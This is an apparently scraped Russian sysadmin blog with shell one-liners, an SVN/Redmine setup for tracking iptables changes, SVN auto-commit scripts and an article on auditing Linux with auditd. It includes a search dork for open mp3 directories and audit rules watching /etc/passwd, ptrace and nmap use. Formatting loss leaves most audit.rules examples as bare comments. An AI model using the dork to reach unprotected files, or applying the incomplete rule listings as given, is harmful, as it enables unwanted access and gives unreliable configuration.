XFilterEvent returns: False
среда, 13 июня 2012 г.
Одной строкой
- Переименуем все *.JPG в *.jpg: rename -vs/.JPG/.jpg/s *.JPG
- Google mp3 search: -inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wma|mp3) "bla bla"
- Выбираем наиболее активные IP-адреса из логов: tail -n 400000 /path/to/log/access_log | cut -d" " -f1 | sort | uniq -c | sort -n | tail -n 30
- Пример использования pstree: while :; do pstree | grep postmaster; sleep 3; done
- netstat -nltp
- cvs diff -u8pN ./filename
- less для mysql: mysql --pager='less -niSFX -Kutf-8' --default-character-set=utf8
- Вывод запроса в консоль без разделителей в MySQL: mysql -N -B -uName -pPassword -hHost -e "select * from TableTable" DBName
- Поменять оболочку для пользователя по умолчанию в Sun Unix-ах можно командой usermod -s /usr/bin/bash myUserName
- tcpdump -XXepnnvvvi bge0 host 192.168.5.15
- Посмотреть, сколько на машине физической памяти можно командой sysctl -a | grep mem, сколько процессоров - cat /var/run/dmesg.boot | grep -i cpu
- Подключить tsearch к PostgreSQL можно так: psql -h -d -U postgres < ltree.sql и psql -h -d -U postgres < tsearch2.sql, где ltree.sql и tsearch2.sql лежат в /usr/local/share/postgresql/contrib
- Сделать текст в консоли в bash зеленым можно с помощью команды: export PS1="\[\033[0;32;40m\u@\h:\w\$ \]"
вторник, 5 июня 2012 г.
Мониторинг изменений iptables на svn и redmine (debian)
1. Настройка сервера с SVN и Redmine
http://www.debuntu.org/2006/05/20/54-how-to-subversion-svn-with-apache2-and-davNeccessary packages:
First of all we need to install the required packages:
apt-get install subversion libapache2-svnRepository structure:
The projects are going to be hosted on /var/svn/repository. We need to create to directories and give full permission to the apache user:
mkdir /var/svnNow that the directory exist, we need to give write access to the apache user:
mkdir /var/svn/repository
chown www-data:www-data -R /var/svn/repositoryConfiguring Apache:
chmod 770 -R /var/svn/repository
Now, we need to modify apache svn module configuration file, edit /etc/apache2/mods-available/dav_svn.conf and make sure the following argument are properly setted up:
...In order to be able to track who modify the different files of the project, we need to create users. Create the first user (tester) and supply a password:
SVNParentPath /var/svn/repository
#SVNPath /var/svn/repository
.....
AuthType Basic
AuthName "Subversion Repository"
AuthUserFile /etc/apache2/dav_svn.passwd
Require valid-user
...
htpasswd -c /etc/apache2/dav_svn.passwd client01_userCreating a first repository:
Get apache user access (so files and directories are created with proper rights:
su www-dataand create your first repository (example):
svnadmin create /var/svn/repository/client01Now, get back to root user (Ctrl-D) and restart apache:
/etc/init.d/apache2 restartYour project is now avalaible to the different user you will add in /etc/apache2/dav_svn.passwd .
User tester can now access the project at http://svnhostaddress/example and checkout a first copy to his computer, modify files and commit back his changes to the server.
Установка redmine
apt-get install redmine
2. Настройка клиента
Уcтановка необходимых пакетов
apt-get install subversion
Создадим папку репозитория
mkdir /var/svn
cd /var/svn
импортируем с сервера svn саму папку (не забыть точку в конце)
root@client01:/var/svn# svn co http://192.168.55.9/svn/client01 .
Далее пропатчим iptables.sh
root@client01:/etc/network# tail -n3 iptables.sh
iptables-save | egrep -v '^(#|:)' > /var/svn/iptables_svn
/usr/local/sbin/commit_svn $@
сам файлик /usr/local/sbin/commit_svn
root@client01:/etc/network# cat /usr/local/sbin/commit_svn
#!/bin/bash
comment=$@
if [ -z "$comment" ]; then
comment="no comments"
fi
if [ $USER = "root" ]; then
user=$SUDO_USER
else
user=$USER
fi
if [ -n "$user" ]; then
svn ci --username $user --config-dir /home/$user/.subversion/ -m"$comment" /var/svn/iptables_svn
fi
Выполним вручную iptables.sh, чтобы создался файл /var/svn/iptables_svn
Добавим новый файл в репозиторий
root@client01:/var/svn#svn add iptables_svn
Логин и пароль на доступ к svn сохраняется в домашней директории /home/$user/.subversion/
3. Настройка redmine
Создадим проект iptables. Далее подпроект client01В настройках хранилища указываем параметры svn сервера
http://192.168.55.9/svn/client01
Для redmine на сервере svn можно создать отдельного ползователя redmine
root@svn:/tmp#htpasswd /etc/apache2/dav_svn.passwd redmine
SVN auto Commit cron
1 вариант
отсюда... http://snippet.espend.de/ssh/svn-auto-commit-cron-54.html
#!/bin/bash # CHANGES: # Feb 2nd 2010: Fixing a nasty bug found bug Jason Judge that would make # the script fail once in a while; #------------------------------- Subroutines --------------------------------- usage(){ echo " Usage: $(basename $0) PATH" echo "" echo "Automatically commits the changes of svn working copy located in PATH." echo "The new files are automatically added and the files that have been removed" echo "are removed." echo "" echo "By Gael Varoquaux" } #------------------------------- Process the options ------------------------- if [ $# -eq 1 ] then workingdir="$1" else usage exit 1 fi if ! cd $workingdir then echo $workingdir is not a accessible path. usage exit 1 fi #------------------------------- Find out what has changed ------------------- # A warning if this fails : echo "SVN autocommit failed or nothing todo" svnstatus=$(svn status $workingdir) added=$(printf "%s" "$svnstatus" | sed -n 's/^[A?] *\(.*\)/\1/p') removed=$(printf "%s" "$svnstatus" | sed -n 's/^! *\(.*\)/\1/p') if [ "x$added" != "x" ] then echo adding "$added" to repository svn add $added fi if [ "x$removed" != "x" ] then echo removing "$removed" to repository svn remove $removed fi svn commit -m "autocommit"
2 вариант
#!/bin/bash # Run commit every second. # Why? Cron can't do that. # This can be used combined with a post-commit hook to make a kind of a versioned FTP :P # This script needs a initial checkout! A working copy must exist a priori! # You need to set-up a "svn-path" file in the same directory as the script with one working copy a line # /absolute/working-copy/ # /absolute/working-copy2/ # Bugs: # Sometimes when you work with someone else on the same file it can overwrite others modifications with yours without throwing a conflict # Good thing it's svn and you can easily merge the modifications afterwards. Still this bug is annoying # Change this to your paths script_path="/home/sasha/Scripts/" paths_file="/home/sasha/Scripts/svn-paths" while [ true ]; do message="*Auto-message*" for local_path in `cat $paths_file| grep -v "#"`; do stat=`svn status $local_path` if [[ $stat != '' ]]; then #Are there any changes? delete_files=`echo $stat|grep -e "^\!"|cut -d" " -f2` if [[ $delete_files != '' ]]; then svn delete $delete_files>/dev/null 2>/dev/null svn commit --non-interactive -m "$message (delete)" $remote_url >/dev/null 2>>"$script_path"commit_log fi # Do we have any files to add add_files=`echo $stat|grep -e "^\?"|cut -d" " -f2` if [[ $add_files != '' ]]; then svn add $add_files >/dev/null 2>/dev/null # Add new files if there are any svn commit --non-interactive -m "$message (add)" $remote_url >/dev/null 2>>"$script_path"commit_log # Finaly commit fi svn update $local_path >/dev/null 2>>/dev/null #Checkout first svn commit --non-interactive -m "$message (modified)" $local_path >/dev/null 2>>"$script_path"commit_log # Finaly commit fi done sleep 1 done
воскресенье, 27 мая 2012 г.
Bash : converting unix timestamp to date
Under Debian or RHEL4 and later, it can be as simple as :
But that command doesn’t work under Redhat EL 3, so you should use the following :
The output is different though
You can always use the previous command under Ubuntu/RHEL4+ or the simpler :
Converting a date to unix timestamp :
Add
$ date -d @1193144433
Tue Oct 23 15:00:33 CEST 2007
But that command doesn’t work under Redhat EL 3, so you should use the following :
$ date --date "1970-01-01 1193144433 sec" "+%Y-%m-%d %T"
2007-10-23 15:00:33
The output is different though
You can always use the previous command under Ubuntu/RHEL4+ or the simpler :
$ date -d @1193144433 "+%Y-%m-%d %T"
2007-10-23 15:00:33
Converting a date to unix timestamp :
$ date -d "2007-10-23 15:00:23" "+%s"
1193144423
Add
"--utc"
to the commands if you want to get the UTC time.вторник, 22 мая 2012 г.
Пингвин под колпаком: Аудит системных событий в Linux
|
||
Грамотная после-установочная настройка
Linux-дистрибутива – лишь первый шаг на пути к безопасности и
стабильности. Чтобы операционная система и дальше продолжала отвечать
этим требованиям, придется приучить себя к постоянному слежению за ее
состоянием. Этого можно достичь с помощью мониторинга и анализа
лог-файлов, однако получение полного контроля над системой возможно
только с помощью аудита системных событий. Перед тем как перейти к основной части статьи, постараемся разобраться с тем, что же все-таки представляет собой системный аудит (или аудит системных событий). По самой своей сути это не что иное, как постоянное и подробное протоколирование любых событий, происходящих в операционной системе. Аудиту могут быть подвержены такие события, как чтение/запись файлов, выполнение входа в ОС, запуск и остановка приложений, инициация сетевого соединения и многое, многое другое. Linux, как и любая другая современная серверная ОС, включает в себя все необходимые инструменты для проведения аудита системы, однако разобраться в них с наскоку не так-то просто. Система аудита ядра 2.6Начиная с версии 2.6, ядро Linux включает в себя подсистему, специально разработанную для проведения аудита. Она позволяет вести слежение за такими системными событиями, как:
УстановкаДемон auditd доступен в любом современном Linux-дистрибутиве и может быть установлен с помощью стандартного менеджера пакетов. Например, чтобы установить auditd в Debian/Ubuntu, достаточно выполнить следующую команду:$ sudo apt-get install auditd Кроме самого демона, вместе с пакетом будут установлены три подсобные утилиты, используемые для управления системой аудита и поиска записей в журнальных файлах:
Аудит системных событийНи одно событие в любой операционной системе не может произойти без использования системных вызовов ядра. Запуск нового процесса, открытие файлов и работа с ними, запрос времени или типа ОС, обращение к оборудованию, создание сетевого соединения, вывод информации на экран – все эти операции производятся с помощью обращения к функциям ядра операционной системы, для краткости называемых системными вызовами. Если приложение не прибегает в своей работе к вызовам ядра, оно оказывается замкнутым в самом себе и просто не способно к какому-либо взаимодействию со своим окружением, не говоря уже о пользователе. Следовательно, чтобы отследить любое системное событие, достаточно просто перехватывать все обращения к системным вызовам.Именно это делает подсистема аудита. Она устанавливает триггеры до и после всех функций, ответственных за обработку системных вызовов, и ждет. Когда происходит системный вызов, триггер срабатывает, подсистема аудита получает всю информацию о вызове и его контексте, передает ее демону auditd и отдает дальнейшее управление функции, обрабатывающей системный вызов. После ее завершения срабатывает «выходной» триггер, и вся информация о системном вызове вновь поступает к подсистеме аудита и демону auditd. Естественно, держать все эти триггеры в активном состоянии все время работы ОС накладно и слишком избыточно (только во время старта приложение может выполнить несколько тысяч системных вызовов и для полного анализа журнала аудита придется убить уйму времени). Поэтому по умолчанию триггеры отключены и могут быть выборочно активированы с помощью правил, которые задают имя системного вызова, его успешность, пользователя, от имени которого произошел вызов и т.д. Благодаря такой нехитрой схеме, системный администратор может вести наблюдение за любым аспектом работы операционной системы (кроме, конечно же, тех событий, которые вызваны компонентами самого ядра). Поэтому, если в системе происходят какие-либо подозрительные действия, вызванные работой взломщика или вредоносного ПО, с помощью системного аудита не составит труда их выявить и найти виновного. Правила аудитаДля создания, удаления и модификации правил аудита предназначена утилита auditctl. Есть три основных опции, которые принимает эта команда:
# auditctl -a список,действие -S имя_системного_вызова -F фильтры Здесь список – это список событий, в который следует добавить правило. Всего существует пять списков:
Второй параметр опции – '-a' – это действие, которое должно произойти в ответ на возникшее событие. Их всего два: never и always. В первом случае события не записываются в журнал событий, во втором – записываются. Далее указывается опция '-S', которая задает имя системного вызова, при обращении к которому должен срабатывать триггер (например, open, close, exit, и т.д.). Вместо имени может быть использовано числовое значение. Необязательная опция '-F' используется для указания дополнительных параметров фильтрации события. Например, если мы хотим вести журнал событий, связанных с использованием системного вызова open(), но при этом желаем регистрировать только обращения к файлам каталога /etc, то должны использовать следующее правило: # auditctl -a exit,always -S open -F path=/etc/ Чтобы еще более сузить круг поисков, сделаем так, чтобы регистрировались только те события, при которых файл открывается только на запись и изменение атрибутов: # auditctl -a exit,always -S open -F path=/etc/ -F perm=aw Здесь 'a' – изменение атрибута (то есть attribute change), а 'w' – запись (то есть write). Также можно использовать 'r' – чтение (read) и 'x' – исполнение (execute). Другие полезные фильтры включают в себя: pid – события, порождаемые указанным процессом, apid – события, порождаемые указанным пользователем, success – проверка на то, был ли системный вызов успешным, a1, a2, a3, a4 – первые четыре аргумента системного вызова. Фильтр key используется для указания так называемого ключа поиска, который может быть использован для поиска всех событий, связанных с этим ключом. Количество возможных фильтров достаточно велико, их полный список можно найти в man-странице auditctl. Вообще, для слежения за файлами в auditctl предусмотрен специальный синтаксис, при котором опцию '-S' можно опустить. Например, описанное выше правило может быть задано следующим образом (здесь опция '-p' – это эквивалент фильтра perm): # auditctl -a exit,always -F dir=/etc/ -F perm=wa Или используя более короткую форму (здесь оцпия '-p' – это эквивалент фильтра perm, а '-k' – фильтра key): # auditctl -w /etc/ -p wa -k access_etc Таким же образом может быть установлена «слежка» за любым индивидуальным файлом: # auditctl -w /etc/passwd -p wa Конфигурационные файлыПравила не обязательно задавать, используя командную строку. Во время старта демон auditd читает два файла: /etc/audit/auditd.conf и /etc/audit/audit.rules (в некоторых дистрибутивах они могут находиться прямо в /etc). Первый описывает конфигурацию демона и содержит такие опции, как имя журнала, его формат, частота обновления и другие параметры. Нет смысла их изменять, разработчики дистрибутива уже позаботились о грамотной настройке.Второй файл содержит правила аудита в формате auditctl, поэтому все, что нужно сделать, чтобы получить правило, пригодное для записи в этот файл – просто опустить имя команды. Например: -w /etc/passwd -p wa В начале файла обычно размещаются несколько мета-правил, задающих конфигурацию и очищающих правила: # Удаляем все правила из всех списков # Указываем количество буферов, хранящих сообщения аудита # Что делать в чрезвычайной ситуации (например, если все буферы будут заполнены) Далее можно разместить свои правила. Примеры правилПервое, что следует сделать – настроить наблюдение за всеми конфигурационными и лог-файлами системы аудита. Если взломщик сможет компрометировать один из них, он наверняка изменит поведение демона, и мы просто не сможем найти его следы.# vi /etc/audit/audit.rules # Наблюдение за конфигурационными файлами # Наблюдение за журнальными файлами Далее установим наблюдение за наиболее важными системными конфигурационными файлами. Изменение хотя бы одного из них может привести к открытию дыры в безопасности системы, чего допустить нельзя. Обрати внимание, что некоторые файлы актуальны только для дистрибутивов Debian/Ubuntu! # vi /etc/audit/audit.rules # Настройки и задания at # Задания cron # Файлы паролей и групп # Конфигурационные и журнальные файлы входа в систему # Список и имена хостов # Стартовые скрипты демонов # Пути поиска библиотек # Настройки времени # Системные переменные # Правила загрузки модулей # Модули системы PAM # Настройки сервера SSH Настроим наблюдение за всеми системными вызовами, которые могут угрожать безопасности системы. Эти правила следует применять только в случае особой необходимости, они создадут высокую нагрузку на систему аудита и приведут к существенному разрастанию журнальных файлов, однако взамен ты получишь тотальный контроль над системой и сможешь легко выявить малейшее нарушение ее работы. # vi /etc/audit/audit.rules # Изменение прав доступа к файлам # Создание, открытие или изменение размеров файлов # Создание и удаление каталогов # Удаление или создание ссылок # Изменение расширенных атрибутов файлов # Создание файлов устройств # Монтирование файловых систем # Использование системного вызова ptrace для отладки процессов Анализ журнальных файловЖурнальные файлы, создаваемые демоном auditd в каталоге /var/log/audit, не предназначены для чтения человеком, но хорошо подходят для анализа с помощью специальных утилит, устанавливаемых вместе с самим демоном. Самая важная из них – утилита aureport, генерирующая отчеты из лог-файлов. Вызвав ее без аргументов, мы узнаем общую статистику использования системы, включая такие параметры, как количество входов и выходов из системы, открытых терминалов, системных вызовов и т.д. Эта информация малоинтересна, поэтому лучше запросить более детальный отчет. Например, запустив команду с флагом '-f', мы получим список файлов, к которым происходил доступ:$ sudo aureport -f Скорее всего вывод будет слишком длинным, но его можно сократить с помощью запроса информации только за определенный период времени (аргумент '--end' не обязателен): $ sudo aureport -f --start 08/20/10 12:00 --end 08/20/10 13:00 Кроме числового значения времени можно использовать следующие специальные сокращения: now (сейчас), recent (десять минут назад), today (начиная с полуночи), yesterday (вчерашние сутки), this-week (неделя), this-month (месяц) или this-year (год). Вывод команды разбит на несколько столбцов, которые имеют следующие значения (слева направо):
$ sudo aureport -f -i --start recent --summary Вывод команды будет разбит на две колонки, первая из которых отражает количество попыток доступа к файлу (успешных или нет), а вторая – его имя. Просматривая суммарный отчет использования файлов и заметив подозрительную попытку доступа к одному из системных/скрытых/личных файлов, можно вновь вызвать aureport, чтобы найти процесс, который произвел эту попытку: $ sudo aureport -f -i --start today | grep /etc/passwd Получив список всех попыток доступа и номера событий, каждое из них можно проанализировать индивидуально с помощью утилиты ausearch: $ sudo auserch -a номер_события Также ausearch можно использовать для поиска событий по именам системных вызовов: $ sudo ausearch -sc ptrace -i Идентификаторам пользователей: $ sudo ausearch -ui 2010 Именам исполняемых файлов: $ sudo ausearch -x /usr/bin/nmap Имени терминала: $ sudo ausearch -tm pts/0 Именам демонов: $ sudo ausearch -tm cron Или ключам поиска: $ sudo auserch -k etc_access Вывод ausearch также может быть сокращен с помощью использования временных промежутков, наподобие тех, что мы использовали при вызове aureport. Сам aureport позволяет генерировать отчеты не только по использованию файлов, но и многих других типов событий, как, например, системные вызовы (флаг '-s'), попытки аутентификации (флаг '-au') , успешные логины (флаг '-l'), модификации аккаунта (флаг '-m') и многих других (полный список смотри в man-странице). Отчеты можно получать только для событий, завершившихся неудачно (флаг '--failed'). AUID и PAMВо время своей работы в системе пользователь может использовать команды su или sudo для изменения своего системного идентификатора (UID), из-за чего процесс отслеживания его деятельности существенно усложняется. Чтобы обойти эту проблему система аудита использует так называемые Audit UID (AUID), которые закрепляются за каждым пользователем во время его входа в систему и остаются неизменными даже несмотря на смену пользователем своего UID с помощью su или sudo. Однако, по умолчанию функция присваивания AUID отключена (именно поэтому восьмой столбец вывода aureport всегда содержит значение -1), и, чтобы ее активировать, необходимо отредактировать некоторые конфигурационные файлы PAM. Для этого открой файл /etc/pam.d/login и добавь строку «session required pam_loginuid.so» перед строкой «session include common-session». Таким же образом измени конфигурационные файлы /etc/pam.d/sshd, /etc/pam.d/gdm (kdm, если ты используешь среду KDE), /etc/pam.d/crond и /etc/pam.d/atd.ВыводыСистема аудита – достаточно низкоуровневый компонент Linux, который требует глубоких знаний ОС для своей настройки и анализа журнальных файлов. Однако, разобравшись в нем, ты получишь мощнейший инструмент слежения за системой, который поможет обнаружить аномалии в поведении системы и найти их виновника.WARNINGЧтобы изменения, внесенные тобой в конфигурационные файлы демона auditd, вступили в силу, необходимо перезагрузить демон с помощью команды «/etc/init.d/auditd restart».INFOНа нашем диске ты найдешь пример рабочего файла правил auditd, который сможешь использовать на своем сервере под управлением Debian/Ubuntu.WWWSteve Grubb из компании Red Hat написал два небольших скрипта для визуализации отчетов системы аудита: |
Подписаться на:
Сообщения (Atom)